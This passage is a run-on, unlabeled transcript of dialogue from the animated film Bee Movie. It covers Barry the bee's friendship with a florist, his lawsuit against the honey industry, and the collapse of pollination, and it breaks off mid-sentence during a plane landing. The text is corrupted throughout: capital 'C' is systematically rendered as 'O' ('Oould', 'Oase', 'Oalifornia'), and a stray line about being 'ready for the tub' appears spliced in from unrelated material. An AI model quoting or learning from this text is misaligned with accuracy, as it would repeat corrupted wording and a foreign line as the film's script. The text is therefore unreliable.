Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the 